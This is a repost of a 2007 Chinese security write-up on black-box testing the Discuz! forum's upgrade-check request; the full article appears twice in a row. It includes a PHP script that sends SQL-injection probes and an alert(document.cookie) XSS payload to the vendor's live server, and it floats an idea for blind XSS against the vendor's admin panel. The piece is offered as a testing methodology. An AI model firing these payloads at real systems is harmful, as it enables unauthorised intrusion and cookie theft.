dz升级检测功能的黑盒测试
作者:我就是个世界
发表于:2008-05-01
[url=http://www.cnblogs.com/allyesno/archive/2007/09/10/888727.html]dz升级检测功能的黑盒测试[/url]
by superhei 2007-09-08 http://www.ph4nt0m.org
'dz的论坛程序升级通知'是个不错的功能,很多注意安全的程序都有类似的功能,比如:wordpress
我们先看看dz功能的实现代码 :
[color=#FF0000]\admin\global.func.php [/color]
[code]00438: echo ''.rawurlencode(DISCUZ_VERSION).'&release='.rawurlencode(DISCUZ_RELEASE).'&php='.PHP_VERSION.'&mysql='.$dbversion.'&charset='.rawurlencode($charset).'&bbname='.rawurlencode($bbname).'&members='.$members.'&threads='.$threads.'&posts='.$posts.'&msn='.$msns.'&md5hash='.md5(preg_replace("/http:\/\/(.+?)\/.*/i", "\\1",
$_SERVER['HTTP_REFERER']).$_SERVER['HTTP_USER_AGENT'].DISCUZ_VERSION.DISCUZ_RELEASE.$bbname.$members.$threads.$posts).'">';[/code]
提交版本以及一些论坛的信息利用js发送到customer.discuz.net来判断,我们抓个包:[separator]
[code]GET /news.php?version=5.5.0&release=20070301&php=5.1.2&mysql=4.1.9-max&charset=gbk&bbname=Discuz%21%20Board&members=5&threads=21&posts=22&msn=0&md5hash=c322d618261ae0e89bece292886897d6 HTTP/1.1
Host: customer.discuz.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.6) Gecko/20070725 (FoxPlus) Firefox/2.0.0.6
[img]http://www.cnitblog.com/Images/dot.gif[/img]
.[/code]
可以看出来发送的一些变量的意思:
DISCUZ_VERSION 为版本号
DISCUZ_RELEASE 版本的日期
//这2个都是在\discuz_version.php 里定义的:
define('DISCUZ_VERSION', '5.5.0');
define('DISCUZ_RELEASE', '20070301');
PHP_VERSION php的版本
$dbversion mysql的版本
$charset 使用的编码
$bbname 论坛名
$members,$threads,$posts,$msns 这都是论坛的一些信息,我估计是dz来收集客户资料的一些东西
md5hash 这个值为md5
[code](preg_replace("/http:\/\/(.+?)\/.*/i", "\\1", $_SERVER['HTTP_REFERER']).$_SERVER['HTTP_USER_AGENT'].DISCUZ_VERSION.DISCUZ_RELEASE.$bbname.$members.$threads.$posts)[/code]
注意里面用了HTTP_REFERER, HTTP_USER_AGENT来判断来路的[dz ,pw常用的手段 :)]
下面我们对这些参数进行简单的黑盒,先写个测试的php:
[code]//$version="5.5.0'";
//$version="5.5.0 and 1=1";
$version="5.5.0alert(document.cookie)";
$res="20070301";
$dbversion="4.1.9-max";
$charset="gbk";
$bbname="1";
$members="1";
//$posts="%27";
//$msns="";
$sef =$_SERVER['HTTP_REFERER'];
$url= 'http://customer.discuz.net/news.php?version='.rawurlencode($version).'&release='.rawurlencode($res).'&php='.PHP_VERSION.'&mysql='.$dbversion.'&charset='.rawurlencode($charset).'&bbname='.rawurlencode($bbname).'&members='.$members.'&threads='.$threads.'&posts='.$posts.'&msn='.$msns.'&md5hash='
.md5(preg_replace("/http:\/\/(.+?)\/.*/i", "\\1", $sef).$_SERVER['HTTP_USER_AGENT'].$version.$res.$bbname.$members.
$threads.$posts);
print $url;
print ''.$url.'" height=1000 width=1000>';[/code]
首先我用' %27 and1=1 等测试每个变量有没有注射,很遗憾 没找到明显的注射,我们测试下xss
经过测试$version 过滤了' 但是内容可以在返回的显示出来 存在xss [也不知道他们代码杂写的单独过滤个']
不过这个没多大的实际应用的意义,主要是要先得到你xss对象的HTTP_USER_AGENT,HTTP_REFERER倒是很好得到.不过如果你用社会工程,得到这些东西 还是很容易的.
然后这个功能还有就是上面说的收集信息如php,mysql版本,msn啊多少用户,多少贴什么的,这些信息提交后应该放入了数据库,然后通过它们的'管理后台'查看这些信息,那么在这个update/insert--- >select出来的过程,如果有变量没有过滤呢,那么我们可以在它们的'后台'跨一跨?
[测试你发现有几个变量有明显的int或者类似函数的过滤过的]
杂判断是否有漏洞呢? 我们可以src一个远程的js,工具有没有执行你的代码来判断? 不过这些都只是YY,具体他们的代码和管理方式我根本不清楚 :(.
这个文章里的bug是没什么意义的,我只是想说说在没有代码的情况下的测试思路:根据功能,来思考程序员是杂实现这个功能-->yy出伪codz-->测试有可能出现的bug.
by superhei 2007-09-08 http://www.ph4nt0m.org
'dz的论坛程序升级通知'是个不错的功能,很多注意安全的程序都有类似的功能,比如:wordpress
我们先看看dz功能的实现代码 :
[color=#FF0000]\admin\global.func.php [/color]
[code]00438: echo ''.rawurlencode(DISCUZ_VERSION).'&release='.rawurlencode(DISCUZ_RELEASE).'&php='.PHP_VERSION.'&mysql='.$dbversion.'&charset='.rawurlencode($charset).'&bbname='.rawurlencode($bbname).'&members='.$members.'&threads='.$threads.'&posts='.$posts.'&msn='.$msns.'&md5hash='.md5(preg_replace("/http:\/\/(.+?)\/.*/i", "\\1",
$_SERVER['HTTP_REFERER']).$_SERVER['HTTP_USER_AGENT'].DISCUZ_VERSION.DISCUZ_RELEASE.$bbname.$members.$threads.$posts).'">';[/code]
提交版本以及一些论坛的信息利用js发送到customer.discuz.net来判断,我们抓个包:[separator]
[code]GET /news.php?version=5.5.0&release=20070301&php=5.1.2&mysql=4.1.9-max&charset=gbk&bbname=Discuz%21%20Board&members=5&threads=21&posts=22&msn=0&md5hash=c322d618261ae0e89bece292886897d6 HTTP/1.1
Host: customer.discuz.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.6) Gecko/20070725 (FoxPlus) Firefox/2.0.0.6
[img]http://www.cnitblog.com/Images/dot.gif[/img]
.[/code]
可以看出来发送的一些变量的意思:
DISCUZ_VERSION 为版本号
DISCUZ_RELEASE 版本的日期
//这2个都是在\discuz_version.php 里定义的:
define('DISCUZ_VERSION', '5.5.0');
define('DISCUZ_RELEASE', '20070301');
PHP_VERSION php的版本
$dbversion mysql的版本
$charset 使用的编码
$bbname 论坛名
$members,$threads,$posts,$msns 这都是论坛的一些信息,我估计是dz来收集客户资料的一些东西
md5hash 这个值为md5
[code](preg_replace("/http:\/\/(.+?)\/.*/i", "\\1", $_SERVER['HTTP_REFERER']).$_SERVER['HTTP_USER_AGENT'].DISCUZ_VERSION.DISCUZ_RELEASE.$bbname.$members.$threads.$posts)[/code]
注意里面用了HTTP_REFERER, HTTP_USER_AGENT来判断来路的[dz ,pw常用的手段 :)]
下面我们对这些参数进行简单的黑盒,先写个测试的php:
[code]//$version="5.5.0'";
//$version="5.5.0 and 1=1";
$version="5.5.0alert(document.cookie)";
$res="20070301";
$dbversion="4.1.9-max";
$charset="gbk";
$bbname="1";
$members="1";
//$posts="%27";
//$msns="";
$sef =$_SERVER['HTTP_REFERER'];
$url= 'http://customer.discuz.net/news.php?version='.rawurlencode($version).'&release='.rawurlencode($res).'&php='.PHP_VERSION.'&mysql='.$dbversion.'&charset='.rawurlencode($charset).'&bbname='.rawurlencode($bbname).'&members='.$members.'&threads='.$threads.'&posts='.$posts.'&msn='.$msns.'&md5hash='
.md5(preg_replace("/http:\/\/(.+?)\/.*/i", "\\1", $sef).$_SERVER['HTTP_USER_AGENT'].$version.$res.$bbname.$members.
$threads.$posts);
print $url;
print ''.$url.'" height=1000 width=1000>';[/code]
首先我用' %27 and1=1 等测试每个变量有没有注射,很遗憾 没找到明显的注射,我们测试下xss
经过测试$version 过滤了' 但是内容可以在返回的显示出来 存在xss [也不知道他们代码杂写的单独过滤个']
不过这个没多大的实际应用的意义,主要是要先得到你xss对象的HTTP_USER_AGENT,HTTP_REFERER倒是很好得到.不过如果你用社会工程,得到这些东西 还是很容易的.
然后这个功能还有就是上面说的收集信息如php,mysql版本,msn啊多少用户,多少贴什么的,这些信息提交后应该放入了数据库,然后通过它们的'管理后台'查看这些信息,那么在这个update/insert--- >select出来的过程,如果有变量没有过滤呢,那么我们可以在它们的'后台'跨一跨?
[测试你发现有几个变量有明显的int或者类似函数的过滤过的]
杂判断是否有漏洞呢? 我们可以src一个远程的js,工具有没有执行你的代码来判断? 不过这些都只是YY,具体他们的代码和管理方式我根本不清楚 :(.
这个文章里的bug是没什么意义的,我只是想说说在没有代码的情况下的测试思路:根据功能,来思考程序员是杂实现这个功能-->yy出伪codz-->测试有可能出现的bug.
请发表您的评论